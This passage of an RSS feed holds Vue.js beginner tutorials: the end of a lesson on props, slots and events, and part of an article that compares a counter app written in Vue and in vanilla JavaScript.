</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p><code>Panel.vue</code> still receives the props <code>title</code> and <code>isPrimary</code> from <code>App.vue</code>. However, it is not really doing anything with them. It simply passes the props further down to <code>PanelHeader.vue</code>.</p>
<p>You can shorten <code>&lt;PanelHeader :title=&quot;title&quot; :isPrimary=&quot;isPrimary&quot;/&gt;</code> to <code>&lt;PanelHeader v-bind=&quot;{ title, isPrimary }&quot; /&gt;</code>.</p>
<p>Please note that <code>App.vue</code> has no idea and doesn't care that the panel header became its own component.</p>
<h3 id="slots">Slots</h3>
<p>Props are great but what if we want more than just basic text in our panel body. What if we want some HTML with specific styling and functionality. For this case we have slots.</p>
<p>We no longer need the <code>body</code> prop, so let's remove that. For the slot, let's add <code>&lt;slot name=&quot;body&quot; /&gt;</code>.</p>
<p><code>Panel.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>{{ title }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"body"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">slot</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"body"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">props</span>: {
        <span class="hljs-attr">title</span>: <span class="hljs-built_in">String</span>,
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Basically in the template all we do is replace <code>{{ body }}</code> with <code>&lt;slot name=&quot;body&quot; /&gt;</code>.</p>
<p>And in <code>App.vue</code> we can now add the button inside an element that has the attribute <code>slot=&quot;body&quot;</code>.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Lorem Ipsum"</span> <span class="hljs-attr">body</span>=<span class="hljs-string">"Lorem ipsum dolor sit amet"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">slot</span>=<span class="hljs-string">"body"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"scream"</span>&gt;</span>Scream<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">Panel</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Something else"</span> <span class="hljs-attr">body</span>=<span class="hljs-string">"Lorem ipsum dolor sit amet"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> Panel <span class="hljs-keyword">from</span> <span class="hljs-string">'./Panel.vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { Panel },
    <span class="hljs-attr">methods</span>: {
        scream() {
            alert(<span class="hljs-string">'AAAAH'</span>)
        },
    },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>What will happen is that <code>&lt;div slot=&quot;body&quot;&gt;</code> from <code>App.vue</code> will be placed in <code>&lt;slot name=&quot;body&quot; /&gt;</code> from <code>Panel.vue</code>.</p>
<h3 id="events">Events</h3>
<p>Since we pass down the <code>title</code> as a prop we can not update it inside panel. If we want to update the title we have to fire an event from the child to parent.</p>
<blockquote>
<p>Props down, events up</p>
</blockquote>
<p>For this let's choose a different example that makes a little more sense.</p>
<p><code>AwesomeCounter.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>{{ awesomeCount }}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">props</span>: {
        <span class="hljs-attr">awesomeCount</span>: <span class="hljs-built_in">Number</span>
    },
    <span class="hljs-attr">methods</span>: {
        increment() {
            <span class="hljs-keyword">this</span>.$emit(<span class="hljs-string">'update:awesomeCount'</span>, <span class="hljs-keyword">this</span>.awesomeCount + <span class="hljs-number">1</span>)
        },
    },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This is our counter, when we press the button it will send the event <code>update:awesomeCount</code> to the parent and passes the incremented value.</p>
<p>In the following code snippet you can see that we can listen to the event <code>update:awesomeCount</code> the same way we listen to normal events like <code>click</code> using <code>@click</code>. In the function we can access the new count using <code>$event</code>.</p>
<p><code>App.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">AwesomeCounter</span> <span class="hljs-attr">:awesomeCount</span>=<span class="hljs-string">"count"</span> @<span class="hljs-attr">update:awesomeCount</span>=<span class="hljs-string">"count = $event"</span>/&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> AwesomeCounter <span class="hljs-keyword">from</span> <span class="hljs-string">'./AwesomeCounter'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { AwesomeCounter },
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">count</span>: <span class="hljs-number">10</span>,
        }
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>In fact, this is such a common scenario that you can abbreviate the above template to simply be</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Counter</span> <span class="hljs-attr">:awesomeCount.sync</span>=<span class="hljs-string">"count"</span>/&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>For this to work the event has to have the name <code>update:{name of prop}</code>.</p>
<p>Events are not only used to update data from the child. You can do anything you want like making ajax calls for example.</p>
<h3 id="devtools">devtools</h3>
<p>If you have problems understanding some of the concepts explained here, need help debugging or simply want to step up your vue game, check out <a href="https://github.com/vuejs/vue-devtools">vue devtools</a>. You will be able to see your components and how they are connected in a DOM like tree view, which data and props they own, what events have been fired etc. You can even manipulate data!</p>
<h3 id="notes">Notes</h3>
<ul>
<li>You don't necessarily have to define props in an object. You can also define them in an array <code>props: ['title', 'body']</code></li>
<li>We looked at some requirements to define props, like <code>type</code>, <code>default</code> and <code>required</code>. There is more <a href="https://vuejs.org/v2/guide/components-props.html#Prop-Validation">here</a>.</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vue vs Vanilla JavaScript - Beginner's Guide]]></title>
            <link>https://michaelzanggl.com/articles/vue-vs-vanilla-javascript-for-beginners/</link>
            <guid>vue-vs-vanilla-javascript-for-beginners</guid>
            <description><![CDATA[Comparing the implementation of a VueJs app with vanilla JavaScript and how Vue can help us create readable robust applications.]]></description>
            <content:encoded><![CDATA[<p>Today we will program a very simple app and compare the implementation between VueJs and Vanilla JavaScript. For Vue we will be using <a href="https://vuejs.org/v2/guide/single-file-components.html">Single File Components</a> which basically means that each component lives in its own <code>.vue</code> file.</p>
<p>The app we want to build has a button that counts up when you click on it.</p>
<p>Let's look at the Vanilla JavaScript solution.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
</code></pre>
<pre class="hljs"><code><span class="hljs-keyword">const</span> counterBtn = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter'</span>)

counterBtn.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">incrementCounter</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> count = <span class="hljs-built_in">Number</span>(counterBtn.innerText) + <span class="hljs-number">1</span>
    counterBtn.innerText = count
})
</code></pre>
<p>Okay, so far so good. We could have also saved the current count inside a variable/state, increment it and update the DOM. Let's see how we can implement this.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
</code></pre>
<pre class="hljs"><code><span class="hljs-keyword">const</span> counterBtn = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter'</span>)
<span class="hljs-keyword">let</span> count = <span class="hljs-number">0</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">renderCount</span>(<span class="hljs-params"></span>) </span>{
    counterBtn.innerText = count
}

counterBtn.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">incrementCounter</span>(<span class="hljs-params"></span>) </span>{
    count = count + <span class="hljs-number">1</span>
    renderCount()
})

<span class="hljs-comment">// on init</span>
renderCount()

</code></pre>
<p>One problem with this method is that we have to call the method <code>renderCount</code> during the initialization to make 100% sure the count stays in sync with the DOM.</p>
<p>As you can see, from the very start there are multiple ways to design your application.
The first is a simple, but slightly dirty and not easily extendable way.
The second is a somewhat cleaner way that comes with some overhead.</p>
<p>It's important to remember though that the DOM should not be used as a datastore. So let's stick with the seond version for now.</p>
<p>Let's see the equivalent in a Vue Single File Component.
Since we use single file components you need to use something like Vue Cli, Laravel Mix, etc. to transpile the vue files to normal Javascript. Alternatively you can try it out in an <a href="https://codesandbox.io/s/vue">online editor</a>.</p>
<p>Let's assume we have the following wrapper component <code>App.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">app-counter</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> AppCounter <span class="hljs-keyword">from</span> <span class="hljs-string">'./Counter'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { AppCounter }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>And here is our component <code>counter.vue</code> where we will spend most of our time.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"counter++"</span>&gt;</span>{{ counter }} <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">counter</span>: <span class="hljs-number">0</span>,
        }
    },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>In Vue you will never find something like <code>counterBtn.innerText = count</code>. The UI is synced with its state/data. Let me repeat this</p>
<blockquote>
<p>The UI is synced with its state/data</p>
</blockquote>
<p>It may not matter so much for our simple counter, but imagine having a table where you can add, edit and delete records. Imagine you update the array in JavaScript and then somehow have to find a way to update the HTML table. Will you just reload the whole table? Find the element in HTML and then edit / remove it? Certainly, it will be messy. Vue takes care of dealing with the whole UI part for us.</p>
<p>But so far, installing Vue for just this is a little overkill. Let's see how our app grows once we add more features.</p>
<p>We want our app to show the text <code>Good Job!</code> when the counter is at least 10.</p>
<p>This would be the Vanilla approach.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"inspirational-message"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"hidden"</span>&gt;</span>Good Job!<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<pre class="hljs"><code><span class="hljs-keyword">const</span> counterBtn = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter'</span>)
<span class="hljs-keyword">const</span> inspirationalMessageEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'inspirational-message'</span>)
<span class="hljs-keyword">let</span> count = <span class="hljs-number">0</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">renderCount</span>(<span class="hljs-params"></span>) </span>{
    counterBtn.innerText = count

    <span class="hljs-keyword">if</span> (count &gt;= <span class="hljs-number">10</span>) {
        inspirationalMessageEl.classList.remove(<span class="hljs-string">'hidden'</span>)
    }
}

counterBtn.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">incrementCounter</span>(<span class="hljs-params"></span>) </span>{
    count = count + <span class="hljs-number">1</span>
    
    renderCount()
})

<span class="hljs-comment">// on init</span>
renderCount()
</code></pre>
<p>Let's add this CSS class:</p>
<pre class="hljs"><code><span class="hljs-selector-class">.hidden</span> {
    <span class="hljs-attribute">display</span>: none;
}
</code></pre>
<p>Alright, so we had to add a new element that is now always in the DOM, a CSS class, and an if condition.
Let's check out how our codebase grows in a Vue component.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"counter++"</span>&gt;</span>{{ counter }} <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"counter &gt;= 10"</span>&gt;</span>Good Job!<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">counter</span>: <span class="hljs-number">0</span>,
        }
    },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Wow, that was super easy! We did everything in one line of code. And if we check the DOM, there is not even a hidden div if the counter is less than 10. This is because Vue uses a virtual DOM and can therefore ship only the necessary HTML to the actual DOM.</p>
<p>But now the project manager of our multi million dollar app comes to us and says they also want a decrement button. Let's see who will suffer more implementing this?
In order to make a decrement button we have to remove the current count from the increment button label and add it between the increment and decrement button.</p>
<p>Let's see the JavaScript implementation</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"increment-counter"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"decrement-counter"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"inspirational-message"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"hidden"</span>&gt;</span>Good Job!<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<pre class="hljs"><code><span class="hljs-keyword">const</span> counterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter'</span>)
<span class="hljs-keyword">const</span> incrementCounterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'increment-counter'</span>)
<span class="hljs-keyword">const</span> decrementCounterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'decrement-counter'</span>)
<span class="hljs-keyword">const</span> inspirationalMessageEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'inspirational-message'</span>)
<span class="hljs-keyword">let</span> count = <span class="hljs-number">0</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">renderCount</span>(<span class="hljs-params"></span>) </span>{
    counterEl.innerText = count

    <span class="hljs-keyword">const</span> forceToggle = count &lt; <span class="hljs-number">10</span>
    inspirationalMessageEl.classList.toggle(<span class="hljs-string">'hidden'</span>, forceToggle)
}

incrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">incrementCounter</span>(<span class="hljs-params"></span>) </span>{
    count = count + <span class="hljs-number">1</span>
    renderCount()
})

decrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">decrementCounter</span>(<span class="hljs-params"></span>) </span>{
    count = count - <span class="hljs-number">1</span>
    renderCount()
})

<span class="hljs-comment">// on init</span>
renderCount()
</code></pre>
<pre class="hljs"><code><span class="hljs-selector-class">.hidden</span> {
    <span class="hljs-attribute">display</span>: none;
}
</code></pre>
<p>Well, that took us a lot of changes for a simple decrement button...</p>
<p>Here is the whole thing in Vue</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"counter--"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    {{ counter }}
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"counter++"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"counter &gt;= 10"</span>&gt;</span>Good Job!<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">counter</span>: <span class="hljs-number">0</span>,
        }
    },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Two lines! That's only two lines of code!</p>
<p>Okay, I gotta be fair, that Vanilla JavaScript there goes out of control. So let's refactor it first before continuing, I am not trying to trash on it after all.</p>
<pre class="hljs"><code>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Counter</span> </span>{

    <span class="hljs-keyword">constructor</span>() {
        <span class="hljs-keyword">this</span>.count = <span class="hljs-number">0</span>

        <span class="hljs-keyword">this</span>.cacheDOM()
        <span class="hljs-keyword">this</span>.bindEvents()
        <span class="hljs-keyword">this</span>.render()
    }

    cacheDOM() {
        <span class="hljs-keyword">this</span>.counterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter'</span>)
        <span class="hljs-keyword">this</span>.incrementCounterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'increment-counter'</span>)
        <span class="hljs-keyword">this</span>.decrementCounterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'decrement-counter'</span>)
        <span class="hljs-keyword">this</span>.inspirationalMessageEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'inspirational-message'</span>)
    }

    bindEvents() {
        <span class="hljs-keyword">this</span>.incrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, () =&gt; <span class="hljs-keyword">this</span>.countUp(<span class="hljs-number">1</span>))
        <span class="hljs-keyword">this</span>.decrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, () =&gt; <span class="hljs-keyword">this</span>.countUp(<span class="hljs-number">-1</span>))
    }

    render() {
        <span class="hljs-keyword">this</span>.counterEl.innerText = <span class="hljs-keyword">this</span>.count

        <span class="hljs-keyword">const</span> forceToggle = <span class="hljs-keyword">this</span>.count &lt; <span class="hljs-number">10</span>
        <span class="hljs-keyword">this</span>.inspirationalMessageEl.classList.toggle(<span class="hljs-string">'hidden'</span>, forceToggle)
    }

    countUp(value) {
        <span class="hljs-keyword">this</span>.count += value
        <span class="hljs-keyword">this</span>.render()
    }

}
<span class="hljs-keyword">new</span> Counter()
</code></pre>
<p>That's a lot better!</p>
<x-ad />
<p>Now the project manager comes to us again. This time, he requests to have different inspirational messages depending on the value of the count.
Here are the specs:</p>
<ul>
<li>&lt; 10 -&gt; Go on with it</li>
<li>10-15 -&gt; 頑張って</li>
<li>16 - 25 -&gt; Sauba!</li>
<li>25 - 50 -&gt; Good Job!</li>
</ul>
<p>You can not go below zero or above 50.</p>
<p>At this point there are so many ways to implement this in Vanilla JavaScript, it is hard to choose from one... How about this?</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"increment-counter"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"decrement-counter"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"inspirational-message"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<pre class="hljs"><code>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Counter</span> </span>{

    <span class="hljs-keyword">constructor</span>() {
        <span class="hljs-keyword">this</span>.count = <span class="hljs-number">0</span>
        <span class="hljs-keyword">this</span>.messages = [
            { <span class="hljs-attr">start</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">9</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Go on with it!'</span> },
            { <span class="hljs-attr">start</span>: <span class="hljs-number">10</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">15</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'頑張って!'</span> },
            { <span class="hljs-attr">start</span>: <span class="hljs-number">16</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">25</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Sauba'</span> },
            { <span class="hljs-attr">start</span>: <span class="hljs-number">26</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">50</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Good Job'</span> },
        ]

        <span class="hljs-keyword">this</span>.cacheDOM()
        <span class="hljs-keyword">this</span>.bindEvents()
        <span class="hljs-keyword">this</span>.render()
    }

    cacheDOM() {
        <span class="hljs-keyword">this</span>.counterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter'</span>)
        <span class="hljs-keyword">this</span>.incrementCounterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'increment-counter'</span>)
        <span class="hljs-keyword">this</span>.decrementCounterEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'decrement-counter'</span>)
        <span class="hljs-keyword">this</span>.inspirationalMessageEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'inspirational-message'</span>)
    }

    bindEvents() {
        <span class="hljs-keyword">this</span>.incrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, () =&gt; <span class="hljs-keyword">this</span>.countUp(<span class="hljs-number">1</span>))
        <span class="hljs-keyword">this</span>.decrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, () =&gt; <span class="hljs-keyword">this</span>.countUp(<span class="hljs-number">-1</span>))
    }

    render() {
        <span class="hljs-keyword">this</span>.counterEl.innerText = <span class="hljs-keyword">this</span>.count

        <span class="hljs-keyword">const</span> { message } = <span class="hljs-keyword">this</span>.messages.find(<span class="hljs-function">(<span class="hljs-params">{start, end}</span>) =&gt;</span> <span class="hljs-keyword">this</span>.count &gt;= start &amp;&amp; <span class="hljs-keyword">this</span>.count &lt;= end)
        <span class="hljs-keyword">this</span>.inspirationalMessageEl.innerText = message
    }

    countUp(value) {
        <span class="hljs-keyword">const</span> newCount = <span class="hljs-keyword">this</span>.count + value
        <span class="hljs-keyword">if</span> (newCount &lt; <span class="hljs-number">0</span> || newCount &gt; <span class="hljs-number">50</span>) <span class="hljs-keyword">return</span>
        <span class="hljs-keyword">this</span>.count = newCount
        <span class="hljs-keyword">this</span>.render()
    }

}
<span class="hljs-keyword">new</span> Counter()
</code></pre>
<p>This should do it. Our refactored JavaScript is now more easily extendable. We had to change the <code>constructor</code>, <code>render</code> method and <code>count</code> method. Let's look at the Vue implementation.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"counter &gt; 0 &amp;&amp; counter--"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    {{ counter }}
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"counter &lt; 50 &amp;&amp; counter++"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{{ message }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">counter</span>: <span class="hljs-number">0</span>,
            <span class="hljs-attr">messages</span>: [
